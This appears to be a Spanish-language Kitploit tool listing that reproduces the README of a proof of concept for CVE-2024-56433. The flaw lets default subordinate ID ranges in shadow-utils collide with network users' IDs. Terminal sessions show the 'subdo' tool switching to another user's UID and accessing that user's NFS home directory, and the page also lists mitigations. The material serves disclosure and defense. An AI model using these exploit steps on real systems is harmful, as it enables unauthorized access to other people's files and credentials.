Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-56433 — Prueba de concepto del exploit para CVE-2024-56433, que demuestra la escalada de privilegios mediante la colisión de ID subordinados en shadow-utils para acceder a los datos de otros usuarios. | Kitploit
Herramientas/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

Prueba de concepto del exploit para CVE-2024-56433, que demuestra la escalada de privilegios mediante la colisión de ID subordinados en shadow-utils para acceder a los datos de otros usuarios.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
3hace 1 añoAún no revisado

CVE-2024-56433

shadow-utils - Asignación insegura de ID subordinado por defecto para usuarios locales

Resumen

La asignación de ID subordinado por defecto crea un riesgo de colisión con los ID de usuario existentes, lo que potencialmente permite cambiar arbitrariamente el UID/GID y obtener acceso no autorizado a datos y recursos de red.

Versiones afectadas

Paquete base: shadow-utils 4.4 - 4.17.0

Distribuciones Linux afectadas

Confirmado en: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Todas las versiones recientes de distribuciones que utilizan shadow-utils 4.4 y superiores.

Referencias

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

Detalles

Shadow-utils comenzó a incluir una configuración por defecto para delegar ID subordinados a usuarios locales.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

Cuando se añaden nuevos usuarios locales al sistema mediante cualquiera de las herramientas de shadow-utils (adduser, useradd y durante la instalación del sistema), a cada usuario se le asigna un bloque único de 65.536 UID y GID, comenzando en UID/GID 100000. Por ejemplo, el siguiente sistema tiene dos usuarios locales añadidos:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

La configuración de ID subordinado delega el derecho de uso de los rangos especificados al usuario en un espacio de nombres de usuario y se utiliza con mayor frecuencia para la contenedorización sin root. Sin embargo, las utilidades de contenedorización no son necesarias para entrar en un espacio de nombres y se puede hacer por múltiples medios, incluyendo el uso de las herramientas por defecto de shadow-utils 'newuidmap' y 'newgidmap.' Esto permite al usuario cambiar arbitrariamente al ID de usuario POSIX de cualquier ID dentro del rango que se le ha delegado.

Ejemplo

En el siguiente ejemplo, al usuario Jon - UID/GID 1000 - se le ha delegado un rango de UID/GID de 65.536 ID comenzando en 100000. La red tiene otros ID configurados vía LDAP para la gestión centralizada de usuarios e inicio de sesión, con los directorios home de los usuarios de red en NFS.

El UID/GID 108372 pertenece al usuario de red msteph.

Aprovechando la asignación por defecto de UID/GID subordinados creada durante la instalación, el usuario local puede cambiar al ID del usuario de red y luego obtener acceso al directorio home de NFS, leyendo y escribiendo archivos como ese usuario.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

Aunque se utilizó NFS como ejemplo, esto se extiende más allá del simple acceso a NFS. Las infraestructuras donde las credenciales Kerberos pueden almacenarse en el sistema local se vuelven vulnerables, ya que las credenciales podrían ser capturadas del sistema local y el acceso a otros servicios kerberizados se vuelve posible.

Mitigación

Las entradas SUB_ en /etc/login.defs deben eliminarse. Cualquier entrada en /etc/subuid y /etc/subgid que no sea esperada también debe eliminarse.

POC

El POC para cambiar el UID/GID al ID subordinado asignado deseado se adjunta como subdo.c y subdo.py

El POC mapea el ID interno y externo al mismo ID y luego ejecuta setuid() y setgid() a ese ID dentro del espacio de nombres, lo que significa que todos los comandos ejecutados dentro del shell en el espacio de nombres se ejecutan ahora como ese uid/gid en el host.

subdo.c

Permite la ejecución de cualquier comando y argumentos como el UID/GID subordinado deseado.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

Ejecuta /bin/bash como el UID/GID subordinado deseado.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Descargar herramienta